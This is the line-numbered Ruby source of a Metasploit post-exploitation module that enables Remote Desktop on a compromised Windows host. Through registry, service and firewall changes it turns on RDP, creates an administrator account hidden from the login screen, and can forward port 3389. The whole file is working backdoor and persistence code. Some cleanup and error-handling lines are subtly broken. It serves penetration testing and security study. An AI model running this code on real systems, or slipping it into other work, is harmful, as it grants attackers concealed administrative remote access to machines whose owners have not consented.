1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Windows::Accounts
8
  include Msf::Post::Windows::Registry
9
  include Msf::Post::Windows::Services
10
  include Msf::Post::Windows::Priv
11
  include Msf::Post::File
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        'Name' => 'Windows Manage Enable Remote Desktop',
18
        'Description' => %q{
19
          This module enables the Remote Desktop Service (RDP). It provides the options to create
20
          an account and configure it to be a member of the Local Administrators and
21
          Remote Desktop Users group. It can also forward the target's port 3389/tcp.
22
        },
23
        'License' => BSD_LICENSE,
24
        'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
25
        'Platform' => [ 'win' ],
26
        'SessionTypes' => [ 'meterpreter' ],
27
        'Notes' => {
28
          'Stability' => [CRASH_SAFE],
29
          'SideEffects' => [CONFIG_CHANGES],
30
          'Reliability' => []
31
        }
32
      )
33
    )
34

35
    register_options(
36
      [
37
        OptString.new('USERNAME', [ false, 'The username of the user to create.' ]),
38
        OptString.new('PASSWORD', [ false, 'Password for the user created.' ]),
39
        OptBool.new('ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
40
        OptBool.new('FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
41
        OptInt.new('LPORT', [ false, 'Local port to forward remote connection.', 3389])
42
      ]
43
    )
44
  end
45

46
  def run
47
    if datastore['ENABLE'] || (datastore['USERNAME'] && datastore['PASSWORD'])
48
      cleanup_rc = store_loot(
49
        'host.windows.cleanup.enable_rdp',
50
        'text/plain',
51
        session,
52
        '',
53
        'enable_rdp_cleanup.rc',
54
        'enable_rdp cleanup resource file'
55
      )
56

57
      if datastore['ENABLE']
58
        if is_admin?
59
          enablerd(cleanup_rc)
60
          enabletssrv(cleanup_rc)
61
        else
62
          print_error('Insufficient privileges, Remote Desktop Service was not modified')
63
        end
64
      end
65
      if datastore['USERNAME'] && datastore['PASSWORD']
66
        if is_admin?
67
          addrdpusr(datastore['USERNAME'], datastore['PASSWORD'], cleanup_rc)
68
        else
69
          print_error('Insufficient privileges, account was not be created.')
70
        end
71
      end
72
      if datastore['FORWARD']
73
        print_status("Starting the port forwarding at local port #{datastore['LPORT']}")
74
        client.run_cmd("portfwd add -L 0.0.0.0 -l #{datastore['LPORT']} -p 3389 -r 127.0.0.1")
75
      end
76
      print_status("For cleanup execute Meterpreter resource file: #{cleanup_rc}")
77
    end
78
  end
79

80
  def enablerd(cleanup_rc)
81
    key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
82
    value = 'fDenyTSConnections'
83
    begin
84
      v = registry_getvaldata(key, value)
85
      print_status 'Enabling Remote Desktop'
86
      if v == 1
87
        print_status "\tRDP is disabled; enabling it ..."
88
        registry_setvaldata(key, value, 0, 'REG_DWORD')
89
        file_local_write(cleanup_rc, "reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
90
      else
91
        print_status "\tRDP is already enabled"
92
      end
93
    rescue StandardError => e
94
      print_status("The following error was encountered: #{e.class} #{e}")
95
    end
96
  end
97

98
  def enabletssrv(cleanup_rc)
99
    service_name = 'termservice'
100
    srv_info = service_info(service_name)
101
    begin
102
      print_status 'Setting Terminal Services service startup mode'
103
      if srv_info[:starttype] != START_TYPE_AUTO
104
        print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
105
        unless service_change_config(service_name, starttype: 'START_TYPE_AUTO') == Windows::Error::SUCCESS
106
          print_error("\tUnable to change start type to Auto")
107
        end
108
        file_local_write(cleanup_rc, 'execute -H -f cmd.exe -a "/c sc config termservice start= disabled"')
109
        if service_start(service_name) == Windows::Error::SUCCESS
110
          print_good("\tRDP Service Started")
111
        end
112
        file_local_write(cleanup_rc, 'execute -H -f cmd.exe -a "/c sc stop termservice"')
113
      else
114
        print_status "\tTerminal Services service is already set to auto"
115
      end
116
      # Enabling Exception on the Firewall
117
      print_status "\tOpening port in local firewall if necessary"
118
      cmd_exec('netsh', 'firewall set service type = remotedesktop mode = enable', 30)
119
      file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
120
    rescue StandardError => e
121
      print_status("The following error was encountered: #{e.class} #{e}")
122
    end
123
  end
124

125
  def addrdpusr(username, password, cleanup_rc)
126
    print_status 'Setting user account for logon'
127
    print_status "\tAdding User: #{username} with Password: #{password}"
128
    begin
129
      if check_user(username)
130
        print_error("\tThe user #{username} already exists")
131
        return
132
      end
133

134
      rdu_sid = resolve_sid('S-1-5-32-555')
135
      admin_sid = resolve_sid('S-1-5-32-544')
136

137
      if !rdu_sid[:mapped] || !admin_sid[:mapped]
138
        print_error("\tThe Remote Desktop Users group is not mapped") if !rdu_sid[:mapped]
139
        print_error("\tThe Administrators group is not mapped") if !admin_sid[:mapped]
140
        print_error("\tNot adding user #{username}")
141
        return
142
      end
143

144
      rdu = rdu_sid[:name]
145
      admin = admin_sid[:name]
146

147
      user_added = false
148
      result = add_user(username, password)
149
      if result['return'] == 0
150
        user_added = true
151
      elsif check_user(username)
152
        user_added = true
153
      end
154

155
      if user_added
156
        file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
157
        print_status "\tAdding User: #{username} to local group '#{rdu}'"
158
        add_members_localgroup(rdu, username)
159

160
        print_status "\tHiding user from Windows Login screen"
161
        hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
162
        registry_setvaldata(hide_user_key, username, 0, 'REG_DWORD')
163
        file_local_write(cleanup_rc, "reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
164
        print_status "\tAdding User: #{username} to local group '#{admin}'"
165
        add_members_localgroup(admin, username)
166
        print_status 'You can now login with the created user'
167
      else
168
        print_error('Account could not be created')
169
        print_error('Error:')
170
        addusr_out.each_line do |l|
171
          print_error("\t#{l.chomp}")
172
        end
173
      end
174
    rescue StandardError => e
175
      print_status("The following error was encountered: #{e.class} #{e}")
176
    end
177
  end
178

179
  def check_user(user)
180
    enum_user.include?(user)
181
  end
182
end
183

184